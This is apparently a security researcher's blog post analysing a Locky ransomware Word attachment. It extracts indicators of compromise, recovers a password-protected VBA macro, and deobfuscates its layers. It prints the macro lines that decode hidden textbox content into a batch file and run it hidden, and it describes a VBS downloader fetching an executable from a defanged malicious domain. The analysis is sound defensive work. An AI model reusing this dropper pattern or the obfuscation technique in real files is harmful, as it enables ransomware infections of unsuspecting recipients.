Locky Ransomware - Obfuscated Weaponry

Some emails with word file attachments were found to be un-scannable by the AV engine on the ESG. This required some further analysis.

Antivirus detects these files as downloaders

Performing a dynamic analysis, I set up the fakedns on the gateway VM so I could intercept any DNS requests and at the same time I also ran Wireshark on the victim VM machine to see the URL:

In the above traffic we have identified some IOCs like the sender ip addresses, malicious C2 domain and the file name of the second stage binary.

I use the Process Monitor tool from Sysinternals to analyze the process tree and the command line arguments.  I am able to find names of more artifacts which could be used as IOCs as well like the arra.bat, dasdee.vbs, asddddd.exe:

Next, I would like to perform further analysis for identifying the attack TTPs (by reverse engineering the sample and studying the sub phases of the attack kill chain).

For this I need access to the code (most probably the macro in the word file). But when I try to access that macro, the attacker seem to have password protected the VBA project. I could try to retrieve or disable this password using some other techniques.

I try to use OfficeMalScanner in some hope to get hold of the macro but the file is not identified as an MS Word file.

I used trid to fingerprint the files but of no avail

I thought maybe this could be an RTF file masquerading as a doc file but again it did not turn out to be an RTF file:

I then decided to port the file to my UNIX DFIR box where I had the oletools-0.46 downloaded.

I used mraptor.py script, which is a script to detect malicious VBA Macros. It seems to be an MHTML file. Word can save and open files of type .htm and .mht. an MHTML file (.mht) could be renamed to .doc and could still work and open in MS Word.

I then used olevba.py tool to successfully extract the VBA code into a text file:

I saw something interesting (the author name?) when I opened the doc file in the hex editor. It confirms that the file is an MSHTML file

The extracted VBA code shows some peculiar things. We see the use of form and textbox objects within the VBA code. This could be an indication to the use of latest attack techniques whereby macros are used but the actual downloader/dropper code is hidden encrypted in the value fields of the form textbox objects.

https://blogs.mcafee.com/mcafee-labs/macro-malware-associated-dridex-finds-new-ways-hide/

http://blog.trendmicro.com/trendlabs-security-intelligence/macro-malware-strides-new-direction-uses-forms-store-code/

This technique is recently seen in macro malware related to DRIDEX and the latest crypto-ransomware variant, Locky ransomware, used Form object in macros to obfuscate the malicious code.

The entry point is when a function call is made in macro’s autoopen() function. We can also see that this is located in the “ThisDocument.cls” MS Word object.

Module1.bas has the code for the function VJKBKasd

Module1 has a lot of junk code with Ltrim Rtrim functions but the actual significant lines of code in between, to look at are:

---------------------------------------Module1.bas------------------------

Set sadasddcc = CreateObject("Scripting.FileSystemObject")

Set sadqwnczxc = sadasddcc.CreateTextFile(Environ("TEMP") & "\arra.bat", True)

sadqwnczxc.Write (Base64Decode(UserForm1.TextBox1)) + UserForm1.TextBox2

sadqwnczxc.Close

Shell Environ("TEMP") & "\arra.bat", vbHide

----------------------------------End of Module1.bas---------------------

In the above code we can see that a file called “arra.bat” is being created in the TEMP folder and the encrypted code hidden in the TextBox1 and TextBox2 objects of UserForm1 is being decrypted using “Base64Decode” function, and then written to the arra.bat file and then this batch file is executed in a hidden mode.

Module2.bas contains some supplementary code to decrypt some embedded code using the function “Base64Decode”:

Encrypted Code:

Next we see the encrypted code, embedded in the form controls:

Next we see some script code embedded in the form control. We can see cscript being called with /Nologo switch (Specifies that the Windows Script Host banner is not displayed before the script runs). %DLOAD_SCRIPT% is a parameter of interest, which is passed on to the cscript command along with the URL to download the file “7.exe” from. From the looks of this script we can see that “7.exe” is being downloaded and placed in the TMP folder as “asddddd.exe” and then it is executed using “start” command and once that is done, some files “dasdee.vbs” and “arra.batea” are deleted form the temp folder:

Let us have try to put this code together as a VBA project in a word document and try debugging the VBA code. I created a file and added the VBA project with the modules, form and two textboxes with the same name as in the extracted VBA Code. Then I copied pasted the code in the specific modules. Lastly, I copied pasted the encrypted code into the text value of the textbox1 and the cscript text in the value of the textbox2:

Once I have the file ready, I saved it as an MHTML file and renamed it as doc and opened it. The file conveniently opened in MS Word.

I entered the VBA project and started debugging, we can see that the batch file arra.bat is being created in the TMP folder:

Next we see that the encrypted code stored as “value” of the textbox1 control is being decrypted and written in the batch file along with the value of the textbox2 control “cscript…” command:

Logic to check if the string passed on is a valid base64:

Slowly we see the decryption is resulting in some relatively sensible code:

When all is written to the batch file we can see the decrypted code and cscript… part is written into it:

This seems to be a second layer of obfuscation. Let us try to deobfuscate this batch file code. Going through first few lines of code (notepad++ was helpful), it seems to be a very simple substitution based obfuscation where variables are assigned alphabetical values and the actual script is hidden by using these variable names instead of actual alphabets. I simply took this piece of code to notepad++ and performed find and replace function to get the following result:

In the above script we can see that the %DLOAD_SCRIPT% is an environment variable set to point towards “dasdee.vbs” file in the TMP folder. We see that echo command in the batch file is used to write to the vbs script. Once the vbs script is written then we can see that cscript is invoked to run the script file “DLOAD_SCRIPT” (from the environment variables) and the parameters passed on to the script are http://avp-mech(dot)ru/7/7(dot)exe and “TMP\asddddd.exe”.

The vbs script essentially downloads the 7.exe from the malicious domain and then writes it to the temp folder and runs it.

The artifacts batch and the vbs file are deleted.

 Intelligence:

Beside the IOCs extracted above, we can read more about this campaign for infecting with Locky ransomware: 

https://blog.avast.com/a-closer-look-at-the-locky-ransomware

https://blogs.forcepoint.com/security-labs/locky-ransomware-encrypts-documents-databases-code-bitcoin-wallets-and-more